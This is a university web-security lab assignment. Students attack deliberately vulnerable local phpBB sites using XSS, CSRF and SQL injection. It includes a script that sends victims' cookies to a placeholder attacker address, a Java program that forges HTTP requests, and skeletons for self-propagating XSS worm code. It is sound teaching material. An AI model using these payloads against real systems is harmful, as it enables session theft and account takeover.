Web Security Lab (CMSC 414, Spring 2017)

Due March 17, 11:59PM

Introduction

This project will cover three broad classes of attacks that are incredibly common on the web today: Cross-Site Scripting (XSS), Cross-Site Request Forgeries (CSRF), and SQL Injection attacks. Today's web is a complex system, consisting of multiple different kinds of protocols and technologies interacting with one another. To make the most out of this project, you will be working with a rather wide cross-section of them. As a result, there are many things about this project that may be new to you—you will be digging into HTTP, generating some Javascript, SQL, and HTML code, and possibly looking at some PHP code, as well. **Start early.** (Besides, this is a fun one!)

All of the requisite web pages and services are preloaded into the VM that has already been distributed to the class (you are welcome to start fresh, if you so desire, but it shouldn't be necessary).

Whereas `gdb` was your friend in project 1, LiveHTTPHeaders, Firebug, and good old `alert` messages will be crucial to inspecting data and debugging your code. These, too, are provided with your VM.

1 Overview of Cross-Site Scripting (XSS)

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, the attackers can steal the victim's credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web-based message board using `phpBB`. We modified the software to introduce an XSS vulnerability in this message board; this vulnerability allows users to post any arbitrary message to the board, including JavaScript programs. Students need to exploit this vulnerability by posting some malicious messages to the message board; users who view these malicious messages will become victims. The attackers' goal is to post forged messages for the victims.

1.1 Lab Environment

In this lab, we will need three things: (1) the Firefox web browser, (2) the apache web server, and (3) the `phpBB` message board web application. For the browser, we need to use the `LiveHTTPHeaders` extension for Firefox to inspect the HTTP requests and responses. The pre-built `Ubuntu` VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The apache web server is also included in the pre-built `Ubuntu` image. However, the web server is not started by default. You have to first start the web server using one of the following two commands:

```
    % sudo apache2ctl start
or
    % sudo service apache2 start
```

The `phpBB` Web Application. The `phpBB` web application is already set up in the pre-built `Ubuntu` VM image. All the `phpBB` websites used in this project can only be accessed from inside the VM. You can access the `phpBB` server using the following URL (the apache server needs to be started first):

```
http://www.xsslabphpbb.com
```

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named `default` in the directory "`/etc/apache2/sites-available`" contains the necessary directives for the configuration:

1. The directive "`NameVirtualHost *`" instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).

2. Each web site has a `VirtualHost` block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL `http://www.example1.com` with sources in directory `/var/www/Example_1/`, and to configure a web site with URL `http://www.example2.com` with sources in directory `/var/www/Example_2/`, we use the following blocks:

```
<VirtualHost *>
    ServerName http://www.example1.com
    DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
    ServerName http://www.example2.com
    DocumentRoot /var/www/Example_2/
</VirtualHost>
```

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application `http://www.example1.com` can be changed by modifying the sources in the directory `/var/www/Example_1/`.

Other software. Some of the lab tasks require some basic familiarity with JavaScript. Wherever necessary, we provide a sample JavaScript program to help the students get started. To complete task 3, students may need a utility to watch incoming requests on a particular TCP port. We provide a C program that can be configured to listen on a particular port and display incoming messages.

1.2 Task 0: Warmup - No Submission Necessary

Hint: users alice, bob, ted and others exist in the database. Their passwords are the same as the user names. This is an extremely bad password practice as we have learned in class.

This task is to help you get started. No submission is necessary. However, you should try out the suggested experiments in order to proceed smoothly with the remainder of the tasks.

Posting a malicious message to display an alert message. The objective of this task is to post a malicious message that contains JavaScript to display an alert window. The JavaScript should be provided along with the user comments in the message. The following JavaScript will display an alert window:

```
<script>alert('XSS');</script>
```

Note: the quotes in the pdf file may have a messed up font. If you copy and paste the above line, you may need to change the quotes manually.

If you post this JavaScript along with your comments in the message board, then any user who views this comment will see the alert window.

Posting a Malicious Message to Display Cookies The objective of this task is to post a malicious message on the message board containing a JavaScript code, such that whenever a user views this message, the user's cookies will be printed out. For instance, consider the following message that contains a JavaScript code:

```
<script>alert(document.cookie);</script>
Hello Everybody,
Welcome to this message board.
```

When a user views this message post, he/she will see a pop-up message box that displays the cookies of the user.

1.3 Task 1: Stealing Cookies from the Victim's Machine

Hint: In all of the tasks in this lab, remember that due to the browser's caching behavior, you may need to reload a page to see the effect of the attack. You can do so by clicking the reload button, or `ctrl + R`.

In the previous task, the malicious JavaScript code can print out the user's cookies; in this task, the attacker wants the JavaScript code to send the cookies to the himself/herself. To achieve this, the malicious JavaScript code can send send a HTTP request to the attacker, with the cookies appended to the request. We can do this by having the malicious JavaScript insert a <`img`> tag with `src` set to the URL of the attackers destination. When the JavaScript inserts the img tag, the browser tries to load the image from the mentioned URL and in the process ends up sending a HTTP GET request to the attackers website. The JavaScript given below sends the cookies to the mentioned port 7777 on the attacker's machine. On the particular port, the attacker has a TCP server that simply prints out the request it receives. The TCP server program will be given to you.

```
Hello Folks,
<script>document.write('<img src=http://attacker_IP_address:7777?c='
                        + escape(document.cookie) + '   >'); </script>
This script is to test XSS.  Thanks.
```

Note: Remember to change the messed up font of the quotes if you copy and paste from the above. After you download the TCP echo server, type "make" to compile, and please read the README file on important information regarding how to start the server on port 7777.

Submission: Please submit a file called `task1.txt`. The first line of the file is the subject to post. The remaining line(s) represent(s) the message contents. The grading will be done as below: We will run the echo server on `localhost` on port 7777. We will post a message acting as the user `ted` using the subject and message contents as specified by your `task1.txt`. Then, when `bob` opens this message, `bob`'s cookie should be printed by the echo server.

1.4 Task 2: Impersonating the Victim using the Stolen Cookies

After stealing the victim's cookies, the attacker can do whatever the victim can do to the `phpBB` web server, including posting a new message in the victim's name, delete the victim's post, etc. In this task, we will write a program to forge a message post on behalf of the victim.

To forge a message post, we should first analyze how `phpBB` works in terms of posting messages. More specifically, our goal is to figure out what are sent to the server when a user posts a message. Firefox's `LiveHTTPHeaders` extension can help us; it can display the contents of any HTTP request message sent from the browser. From the contents, we can identify all the the parameters of the message. A screen shot of `LiveHTTPHeaders` is given in Figure1. The `LiveHTTPHeaders` extension can be downloaded from `http://livehttpheaders.mozdev.org/`, and it is already installed in the pre-built `Ubuntu` VM image.

Once we have understood what the HTTP request for message posting looks like, we can write a Java program to send out the same HTTP request. The `phpBB` server cannot distinguish whether the request is sent out by the user's browser or by the attacker's Java program. As long as we set all the parameters correctly, the server will accept and process the message-posting HTTP request. To simplify your task, we provide you with a sample Java program that does the following:

1. Opens a connection to the web server.
2. Sets (*some of*) the necessary HTTP header information.
3. Sends the request to the web server.
4. Gets the response from the web server.

```
import java.io.*;
import java.net.*;

public class HTTPSimpleForge {

   public static void main(String[] args) throws IOException {
   try {
        int responseCode;
        InputStream responseIn=null;

        // URL to be forged.
        URL url = new URL ("http://www.xsslabphpbb.com/profile.php");

        // URLConnection instance is created to further parameterize a
        // resource request past what the state members of URL instance
        // can represent.
        URLConnection urlConn = url.openConnection();
        if (urlConn instanceof HttpURLConnection) {
                urlConn.setConnectTimeout(60000);
                urlConn.setReadTimeout(90000);
        }
```

```
        // addRequestProperty method is used to add HTTP Header Information.
        // Here we add User-Agent HTTP header to the forged HTTP packet.
        urlConn.addRequestProperty("User-agent","Sun JDK 1.6");

        //HTTP Post Data which includes the information to be sent to the server.
        String data="username=admin&seed=admin%40seed.com";

        // DoOutput flag of URL Connection should be set to true
        // to send HTTP POST message.
        urlConn.setDoOutput(true);

        // OutputStreamWriter is used to write the HTTP POST data
        // to the url connection.
        OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());
        wr.write(data);
        wr.flush();

        // HttpURLConnection a subclass of URLConnection is returned by
        // url.openConnection() since the url  is an http request.
        if (urlConn instanceof HttpURLConnection) {
                HttpURLConnection httpConn = (HttpURLConnection) urlConn;

                // Contacts the web server and gets the status code from
                // HTTP Response message.
                responseCode = httpConn.getResponseCode();
                System.out.println("Response Code = " + responseCode);

                // HTTP status code HTTP_OK means the response was
                // received successfully.
                if (responseCode == HttpURLConnection.HTTP_OK) {

                        // Get the input stream from url connection object.
                        responseIn = urlConn.getInputStream();

                        // Create an instance for BufferedReader
                        // to read the response line by line.
                        BufferedReader buf_inp = new BufferedReader(
                                        new InputStreamReader(responseIn));
                        String inputLine;
                        while((inputLine = buf_inp.readLine())!=null) {
                                System.out.println(inputLine);
                        }
                }
        }
     } catch (MalformedURLException e) {
                e.printStackTrace();
     }
   }
}
```

If you have trouble understanding the above program, we suggest you to read the following:

- JDK 6 Documentation: `http://java.sun.com/javase/6/docs/api/`
- Java Protocol Handler:
  `http://java.sun.com/developer/onlineTraining/protocolhandlers/`

Limitation: The forged message post should be generated from the same virtual machine i.e. the victim (user connected to the web forum) and the attacker (one who generates a forged message post) should be on the same machine because `phpBB` uses IP address and the cookies for session management. If the attacker generates the forged message post from a different machine, the IP address of the forged packet and the victim's IP address would differ and hence the forged message post would be rejected by the `phpBB` server, despite the fact that the forged message carries the correct cookie information.

Hint: you can compile a java program into bytecode by running javac HTTPSimpleForge.java on the console.You can run the byte code by running `java HTTPSimpleForge`.

Submission: Please submit a file called `HTTPSimpleForge.java`.

Grading: your java file will be compiled into byte code and executed.

Input: Your java program should read from an input file called `task2input.txt`. The first line of the input file contains the cookie, the second line contains the sid. Note that the sid embedded in the cookie will agree with the sid in the second line.

Output: When your java program is executed, it should post a message on behalf of the victim user, with the subject "XSS", and the message body "A forged message".

1.5 Task 3: Writing an XSS Worm

In the previous task, we have learned how to steal the cookies from the victim and then forge HTTP requests using the stolen cookies. In this task, we need to write a malicious JavaScript to forge a HTTP request directly from the victim's browser. This attack does not require the intervention from the attacker. The JavaScript that can achieve this is called a *cross-site scripting worm*. For this web application, the worm program should do the following:

1. Retrieve the session ID of the user using JavaScript.
2. Forge a HTTP post request to post a message using the session ID.

There are two common types of HTTP requests, one is HTTP `GET` request, and the other is HTTP `POST` request. These two types of HTTP requests differ in how they send the contents of the request to the server. In `phpBB`, the request for posting a message uses HTTP `POST` request. We can use the `XMLHttpRequest` object to send HTTP `GET` and `POST` requests for web applications. `XMLHttpRequest` can only send HTTP requests back to the server, instead of other computers, because the same-origin policy is strongly enforced for `XMLHttpRequest`. This is not an issue for us, because we do want to use `XMLHttpRequest` to send a forged HTTP `POST` request back to the `phpBB` server. To learn how to use `XMLHttpRequest`, you can study these cited documents [1,2]. If you are not familiar with JavaScript programming, we suggest that you read [3] to learn some basic JavaScript functions. (You shouldn't need much more beyond some basic string manipulation, calling functions, and obtaining cookies from the `document` object.)

You may also need to debug your JavaScript code. `Firebug` is a Firefox extension that helps you debug JavaScript code. It can point you to the precise places that contain errors. `FireBug` can be downloaded from https://addons.mozilla.org/en-US/firefox/addon/1843. It is already installed in our pre-built `Ubuntu` VM image.

Code Skeleton: We provide a skeleton of the JavaScript code that you need to write. You need to fill in all the necessary details. When you include the final JavaScript code in the message posted to the `phpBB` message board, you need to remove all the comments, extra space, and new-line characters.

```
<script>
var Ajax=null;
```

```
// Construct the header information for the Http request
Ajax=new XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
Ajax.setRequestHeader("Host","www.xsslabphpbb.com");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");


// Construct the content. The format of the content can be  learned
//   from LiveHttpHeader.
var content="subject=" + "XSS" + ...; // You need to fill in the details.

// Send the HTTP POST request.
Ajax.send(content);
</script>
```

To make our worm work, we'll need to examine the output of `LiveHTTPHeaders` to see how the session id information is used by `phpBB`. The server uses the session id to prevent another type of attack (i.e. the cross-site request forgery attack). In our forged message-posting request, we also need to add this session id information; the value of this session id is exactly the same as that in `phpbb2mysql_sid`. Without this session id in the request, the request will be discarded by the server.

In order to retrieve the `sid` information from the cookie, you may need to learn some string operations in JavaScript. You should study this cited tutorial [4].

Submission: Please submit a file called `task3.txt`. The first line of the file contains the subject. The remaining line(s) of the file contain(s) the message body.

Grading: We will log in as `bob`, and post your specified message. When `ted` logs on and reads the message, this will lead to the posting of a message on behalf of `ted`, containing the subject line "XSS", and the message body "basic worm".

1.6 Task 4: Writing a Self-Propagating XSS Worm

The worm built in the previous task only forges a message on behalf of the victims; it does not propagate itself. Therefore, technically speaking, it is not a worm. To be able to propagate itself, the forged message should also include a worm, so whenever somebody clicks on the forged message, a new forged message that carry the same worm will be created. This way, the worm can be propagated. The more people click on the forged messages, the faster the worm can propagate.

In this task, you need to expand what you did in Task 5, and add a copy of the worm to the body of the forged message. **The following guidelines on properly encoding your input are critical to making this work:**

1. The JavaScript program that posts the forged message is already part of the web page. Therefore, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code obtains a copy of itself, and displays it in an alert window:

```
<script id=worm>
   var strCode = document.getElementById("worm");
   alert(strCode.innerHTML);
</script>
```

2. **URL Encoding :** All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, messages to be posted in the phpBB forum should be encoded using URL encoding. The `escape` function can be used to URL encode a string. An example of using the encode function is given below.

```
<script>
  var strSample = "Hello World";
  var urlEncSample = escape(strSample);
  alert(urlEncSample);
</script>
```

3. Under the URL encoding scheme the "+" symbol is used to denote space. In JavaScript programs, "+" is used for both arithmetic operations and string concatenation operations. **To avoid this ambiguity, you may use the `concat` function for string concatenation**. For example:

```
<script>
    var onestring="abc";
    onestring = onestring.concat("def");
</script>
```

'+' is also used for addition. Avoid using addition if you can. If you have to add a number (e.g `a+5`), you can use subtraction (e.g `a-(-5)`).

Hint: You might need to look up the escape codes for HTTP encoding. You can use the following URL. In particular, you may need to encode $<$, $>$, $/$, and white space, etc. Since when you do `getElementById.innerHTML`, it will not contain the outer tags `<scriptid=worm>` and `</script>`.

`http://www.w3schools.com/TAGs/ref_urlencode.asp`

This task might take you a little longer than usual, but the payoff is worth it!

Submission: Please submit a file called `task4.txt`. The first line of the file is the subject. The remaining line(s) represent(s) the message body.

Grading: We will post your message as user `alice`. Later, when `ted` reads the message, it will lead to the posting of another message M', entitled "self-propagating worm". You can use any message body, provided that, later, when `bob` reads M', it will lead to the posting of yet another message M'', with the same subject "self-propagating worm" and similarly, this M'' should be self-propagating as well.

2 Overview of Cross-Site Request Forgery (CSRF)

The objective of this lab is to help students understand cross-site-request forgery (CSRF or XSRF) attacks. A CSRF attack involves a victim user, a trusted site, and a malicious site. The victim user holds an active session with a trusted site and simultaneously visits a malicious site. The malicious site injects a HTTP request for the trusted site into the victim user session compromising its integrity.

In this lab, you will be attacking a web-based project management system using CSRF attacks. The open-source project management application called `Collabtive` is vulnerable to the CSRF attacks. The original application has implemented several countermeasures for avoiding CSRF attacks.

The `phpBB` Web Application. The `phpBB` web application is already set up in the pre-built `Ubuntu` VM image. We have also created several user accounts in the `phpBB` server. The password information can be obtained from the posts on the front page. You can access the `phpBB` server (for this lab) using the following URLs (the apache server needs to be started first):

URL	Description	Directory
`www.csrflabattacker.com`	Attacker web site	/var/www/CSRF/Attacker/
`www.csrflabphpbb.com`	Vulnerable phpBB	/var/www/CSRF/CSRFLabPhpbb/
`www.originalphpbb.com`	Original phpBB	/var/www/OriginalPhpbb/

Configuring DNS. These URLs are only accessible from inside of the virtual machine, because we have modified the `/etc/hosts` file to map the domain names of these URLs to the virtual machine's local IP address (`127.0.0.1`). Basically, we added the following three entries to the `/etc/hosts` file:

```
127.0.0.1       www.csrflabattacker.com
127.0.0.1       www.csrflabphpbb.com
127.0.0.1       www.originalphpbb.com
```

2.1 Background of CSRF Attacks

A CSRF attack always involved three actors: a trusted site (`Collabtive`), a victim user of the trusted site, and a malicious site. The victim user simultaneously visits the malicious site while holding an active session with the trusted site. The attack involves the following sequence of steps:

1. The victim user logs into the trusted site using his/her username and password, and thus creates a new session.
2. The trusted site stores the session identifier for the session in a cookie in the victim user's web browser.
3. The victim user visits a malicious site.
4. The malicious site's web page sends a request to the trusted site from the victim user's browser.
5. The web browser will automatically attach the session cookie to the malicious request because it is targeted for the trusted site.
6. The trusted site, if vulnerable to CSRF, may process the malicious request forged by the attacker web site.

The malicious site can forge both HTTP GET and POST requests for the trusted site. Some HTML tags such as `img`, `iframe`, `frame`, and `form` have no restrictions on the URL that can be used in their attribute. HTML `img`, `iframe`, and `frame` can be used for forging GET requests. The HTML `form` tag can be used for forging POST requests. Forging GET requests is relatively easier, as it does not even need the help of JavaScript; forging POST requests does need JavaScript. Since `Collabtive` only uses POST, the tasks in this lab will only involve HTTP POST requests.

2.2 Lab Tasks

For the lab tasks, you will use two web sites that are locally setup in the virtual machine. The first web site is the vulnerable `Collabtive` site accessible at `www.csrflabphpbb.com` inside the virtual machine. The second web site is the attacker's malicious web site that is used for attacking `Collabtive`. This web site is accessible via `www.csrflabattacker.com` inside the virtual machine.

2.3 Task 5: Attack using HTTP GET request

In the vulnerable `phpBB`, a new topic can be posted using a GET request targeted for the following URL:

```
http://www.csrflabphpbb.com/posting.php?mode=newtopic&f=1
```

The URL has two parameters, `mode=newtopic` and `f=1`. These parameters tell the server-side script `posting.php` that the request is intended to post a new message to forum 1.

To forge a request to post a new topic to the forum, the malicious site can use the URL in a HTML *img* tag inside a web page.

```
<html>
<img src="http://www.csrflabphpbb.com/posting.php?mode=newtopic\&f=1">
</html>
```

Whenever the victim user visits the crafted web page in the malicious site, the web browser automatically issues a HTTP `GET` request for the URL contained in the img tag. Because the web browser automatically attaches the session cookie to the request, the trusted site cannot distinguish the malicious request from the genuine request and ends up processing the request compromising the victim user's session integrity.

For this task, you will observe the structure of a different request for posting a new message in the vulnerable `phpBB` application and then try to forge it from the malicious site. You can use the `LiveHTTPHeaders` extensions (Firefox → Tools → `LiveHTTPHeaders`) to observe the contents of the HTTP requests.

You will see something similar to the following:

```
http://www.csrflabphpbb.com/posting.php?subject=hello&
addbbcode18=%23444444&addbbcode20=0&helpbox=Quote+text%3A+%5
Bquote%5Dtext%5B%2Fquote%5D++%28alt%2Bq%29&message=This+is+
my+message&topictype=0&poll_title=&add_poll_option_text=&
poll_length=&mode=newtopic&f=1&post=Submit
```

Observe the request structure for posting a new message to the forum and then use this to forge a new request to the application. When the victim user visits the malicious web page, a malicious request for posting a message should be injected into the victim's active session with `phpBB`.

Submission. You are required to submit a file named `task5.html`. When a victim user named `bob` is logged in with the `http://www.csrflabphpbb.com/` website in one browser tab, and visits the attacker website `http://www.csrflabattacker.com/task5.html` in another tab, a message should be posted in `Test Forum 1` on behalf of the victim user `bob`. The posted message should contain the title "attack", and the message body "a malicious message". To test this, you will need to place the `task5.html` file under the directory `/var/www/CSRF/Attacker/`.

Note: There are several users already registered with the website in the provided setup. You will be using the user `bob`. Its password is `bob`.

Tip: Your browser Firefox may not refresh on its own. You might need to press the reload/refresh button to reload the page, to see the new posting created by the attacker page.

2.4 Task 6: Attack in HTTP POST request

HTTP `GET` requests are typically used for requests that do not involve any side effects. The original `phpBB` does not use `GET` requests for posting a new message to the forum. We modified the source code of `phpBB` so that new messages can be posted using GET requests to facilitate task 5. In this task, you will forge a

POST request that modifies the profile information in phpBB - http://www.csrflabphpbb.com. In a HTTP POST request, the parameters for the request are provided in the HTTP message body. Forging an HTTP POST request is slightly more difficult. A HTTP POST message for the trusted site can be generated using a form tag from the malicious site. Furthermore, we need a JavaScript program to automatically submit the form.

The server-side script profile.php allows users to modify their profile information using a POST request. You can observe the structure of the request, i.e the parameters of the request, by making some modifications to the profile and monitoring the request using LiveHTTPHeaders. You may expect to see something similar to the following:

```
Content-Type: application/x-www-form-urlencoded Content-Length: 473
username=admin&email=admin%40seed.com&cur_password=&new_password=&
password_confirm=&icq=&aim=&msn=&yim=&website=&location=&
occupation=&interests=&signature=I+am+good+guy&viewemail=1&
hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=0&
allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&
style=1&timezone=0&dateformat=d+M+Y+h%3Ai+a&mode=editprofile&
agreed=true&coppa=0&user_id=2&
current_email=admin%40seed.com&submit=Submit
```

Now, using the information you gathered from observing the request, you can construct a web page that posts the message. To help you write a JavaScript program to send a HTTP post request, we provide the sample code named task6sample.html. You can use this sample code to construct your malicious web site for the CSRF attacks.

Submission. You are required to submit a file named task6.html. When a victim user named bob is logged in with the http://www.csrflabphpbb.com/ website in one browser tab, and visits the attacker website http://www.csrflabattacker.com/task6.html in another tab, bob's profile will be changed. Your submitted attack webpage should change bob's signature to "signature changed", and his occupation to "bad occupation". To test it, you will need to place the task6.html file under the directory /var/www/CSRF/Attacker/.

3 Overview Of SQL Injection

SQL injection is a code injection technique that exploits the vulnerabilities in the interface between web applications and database servers. The vulnerability is present when users inputs are not correctly checked within the web applications before sending to the back-end database servers. Many web applications take inputs from users, and then use these inputs to construct SQL queries, so the web applications can pull the information out of the database. Web applications also use SQL queries to store information in the database. These are common practices in the development of web applications. When the SQL queries are not carefully constructed, SQL-injection vulnerabilities can occur. SQL-injection attacks is one of the most frequent attacks on web applications. In this lab, we modified a web application called phpBB, and disabled several countermeasures implemented by phpBB. As a results, we created a version of phpBB that is vulnerable to the SQL-Injection attack. Although our modifications are artificial, they capture the common mistakes made by many web developers. Your goal in this lab is to find ways to exploit the SQL-Injection vulnerabilities, demonstrate the damage that can be achieved by the attacks, and master the techniques that can help defend against such attacks.

The `phpBB` Web Application. The `phpBB` web application is already set up in the pre-built `Ubuntu` VM image. We have also created several user accounts in the `phpBB` server. The password information can be obtained from the posts on the front page. You can access the `phpBB` server using the following URL (the apache server needs to be started first):

`http://www.sqllabmysqlphpbb.com`

The source code of web application is located at `/var/www/SQL/SQLLabMysqlPhpbb/`.

Turn Off the Countermeasure PHP provides a mechanism to automatically defend against SQL injection attacks. The method is called magic quote. Let us turn off this protection first (this protection method is deprecated after PHP version 5.3.0).

1. Go to /etc/php5/apache2/php.ini
2. Find the line: magic_quotes_gpc = On
3. Change it to this: magic_quotes_gpc = Off
4. Restart the apache server by running " sudo service apache2 restart "

3.1 Task 7 SQL Injection Attack on SELECT Statements

For this task, you will use the web application accessible via the URL `www.sqllabmysqlphpbb.com`, which is phpBB2 configured with MySQL database, inside your virtual machine. Before you start to use `phpBB2`, the system will ask you to login. The authentication is implemented by `login.php` on the server side. This program will display a login window to the user and ask the user to type their `username` and `password`.

Once the user types the `username` and `password`, the `login.php` program will use the user provided data to find out whether they match with the `username` and `user_password` fields of any record in the database. If there is a match, it means the user has provided a correct username and password combination, and should be allowed to login. Like most other web applications, PHP programs interact with their back-end databases using the standard SQL language. In phpBB2, the following SQL query is constructed in `login.php` to authenticate users:

```
SELECT user_id, username, user_password, user_active, user_level,
user_login_tries, user_last_login_try FROM USERS_TABLE WHERE username =
$username AND user_password = md5($password);

        if (found one record)
        then {allow the user to login}
```

In the above SQL statement, the `USERS_TABLE` is a macro in php which will be replaced by the users table name: phpbb_users, $username is a variable that holds the string typed in the `Username` textbox, and `$password` is a variable that holds the string typed in the `Password` textbox. Users inputs in these two textboxs are placed directly in the SQL query string.

SQL Injection Attacks on Login: There is a SQL-injection vulnerability in the above query. Can you take advantage of this vulnerability to achieve the following objectives?

- Can you log into another persons account without knowing the correct password?

- Can you find a way to modify the database (still using the above SQL query)? For example, can you add a new account to the database, or delete an existing user account? Obviously, the above SQL statement is a query-only statement, and cannot update the database. However, using SQL injection, you can turn the above statement into two statements, with the second one being the update statement. Please try this method, and see whether you can successfully update the database. To be honest, we are unable to achieve the update goal. This is because of a particular defence mechanism implemented in MySQL. In the report, you should show us what you have tried in order to modify the database. You should find out why the attack fails, what mechanism in MySQL has prevented such an attack. You may look up evidences (second-hand) from the Internet to support your conclusion.

Submission: Your task is to log in as `bob` without using his password. Please submit a file called `task7.txt`. The first two lines should be the values you entered in the login and password fields surrounded by double quotes. The two lines should look exactly as follows, with your inputs in place of the `___`

```
login="___"
password="___"
```

Follow this with a short explanation of what your input causes to happen. Also include a description of what you tried to enter in order update the database, and your conclusions as to why it failed.

3.2 Task 8: SQL Injection on UPDATE Statements

When users want to update their profiles in phpBB2, they can click the Profile link, and then fill in a form to update the profile information. After the user sends the update request to the server, an `UPDATE` SQL statement will be constructed in `include/usercp_register.php`. The objective of this statement is to modify the current users profile information in `phpbb_users table`. There is a SQL injection vulnerability in this SQL statement. Please find the vulnerability, and then use it to do the following:

- Change another users profile without knowing his/her password. For example, if you are logged in as Alice, your goal is to use the vulnerability to modify Bob's profile information, including Bobs password. After the attack, you should be able to log into Bobs account.

Tools Print out debugging information. When we debug traditional programs (e.g. C programs) without using any debugging tool, we often use printf() to print out some debugging information. In web applications, whatever are printed out by the server-side program is actually displayed in the web page sent to the users; the debugging printout may mess up with the web page. There are several ways to solve this problem. A simple way is to print out all the information to a file. For example, the following code snippet can be used by the server-side PHP program to print out the value of a variable to a file.

```
$myFile = "/tmp/mylog.txt";
$fh = fopen($myFile, a) or die("cant open file");
$Data = "a string";
fwrite($fh, \$Data . "\n");
fclose($fh);
```

A useful Firefox Add-on. Firefox has an add-on called "Tamper Data", it allows you to modify each field in the HTTP request before the request is sent to the server. For example, after clicking a button on a web page, an HTTP request will be generated. However, before it is sent out, the "Tamper Data" add-on intercepts the request, and gives you a chance to make an arbitrary change on the request. This tool is quite handy in this lab. The add-on only works for Firefox versions 3.5 and above. If your firefox has an

earlier version, you need to upgrade it for this add-on. In our most recently built virtual machine image (SEEDUbuntu9-Aug- 2010), Firefox is already upgraded to version 3.6, and the ”Tamper Data” add-on is already installed.

Submission: Your task is to change `bob`'s password by modifying a different user's profile. Please submit a file called `task8.txt` with the following format:

Line 1: Bob's new password after your injection, wrapped in double quote

Line 2: User whose profile you are modifying

One line for each profile parameter you changed, like so: ”param”=”new value”. Please note that both the parameter name and new value should be wrapped in double quotes, so that we can clearly see any spaces you might have added. Also, the parameter name should be exactly as it appears in the source code / when viewed in tamper data.

A blank line

The remaining lines should contain a short write up explaining the steps you used to create a working SQL injection attack that updates Bob's password to a new value.

4 Task 9: Security Review

Last time, we gave you a topic about which to write a security review. Now that you know so many more attacks and defenses, we're putting you in charge.

Your task is to write a security analysis of a **current event or recent technology**. With the intent of creating an interesting, open forum to discuss these ideas, you will post your review on the course Piazza forum (there's a link to Piazza on the course website). A new category will be created by the instructor: post your review under this category (I can't promise I'll see it otherwise). **You cannot post a review of a system that has been covered before your post (or in Project 1), so get started early!**

For detailed instructions, please see the Project 1 description.

5 Point Distribution

The project is out of a total of 100 points. Each task is work the following:

Task	Point Value
1	5 points
2	15 points
3	12 points
4	20 points
5	8 points
6	12 points
7	8 points
8	10 points
9	10 points
Total:	100 points

6 Summary of Submitted Files

Make a gzipped tarball named `<firstname>.<lastname>.tgz` that includes the following files:

- `task1.txt`
- `HTTPSimpleForge.java`
- `task3.txt`
- `task4.txt`
- `task5.html`
- `task6.html`
- `task7.txt`
- `task8.txt`

So Jo Smith would do:

```
tar cvfz jo.smith.tgz task1.txt HTTPSimpleForge.java ...  task8.txt
```

and submit `jo.smith.tgz` via the submit server. We have provided a CheckSubmissionFiles.sh script to help you check if all your files are present and have been named correctly. (Usage: sh CheckSubmissionFiles.sh YourSubmissionDirc). Finally, be sure to post your security review on Piazza as a reply to the instructor-specified post.

Note: Only the latest submission counts.

Resources

None of these are strictly necessary reading for the project, but if you get stuck (or are interested in learning more), then here are some fine pointers:

- Javascript Tutorial: `http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial`
- The `LiveHTTPHeaders` Firefox extension: `http://livehttpheaders.mozdev.org/`
- `TheFirebugExtension`: `http://getfirebug.com/downloads/`
- `AJAX POST-It Notes` `http://www.hunlock.com/blogs/AJAX_POST-It_Notes/`
- `AJAX for n00bs` `http://www.hunlock.com/blogs/AJAX_for_n00bs`
- `The Complete Javascript Strings Reference` `http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference`

References

[1] AJAX for n00bs. Available at the following URL:
`http://www.hunlock.com/blogs/AJAX_for_n00bs`.

[2] AJAX POST-It Notes. Available at the following URL:
`http://www.hunlock.com/blogs/AJAX_POST-It_Notes`.

[3] Essential Javascript – A Javascript Tutorial. Available at the following URL:
`http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial`.

[4] The Complete Javascript Strings Reference. Available at the following URL:
`http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference`.

```
http://www.xsslabphpbb.com/posting.php

POST /posting.php HTTP/1.1
Host: www.xsslabphpbb.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1
Cookie: phpbb2mysql_data=......;phpbb2mysql_sid=......
Content-Type: application/x-www-form-urlencoded
Content-Length: 376
subject=<Content of the message>



HTTP/1.x 200 OK
Date: Thu, 11 Jun 2009 19:43:15 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3
X-Powered-By: PHP/5.2.6-3ubuntu4.1
Set-Cookie: phpbb2mysql_data=XXXXXXXXXXX; expires=Fri, GMT; path=/
Set-Cookie: phpbb2mysql_sid=YYYYYYYY; path=/
Set-Cookie: phpbb2mysql_t=XXXXXXXXXX; path=/
Cache-Control: private, pre-check=0, post-check=0, max-age=0
Expires: 0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3904
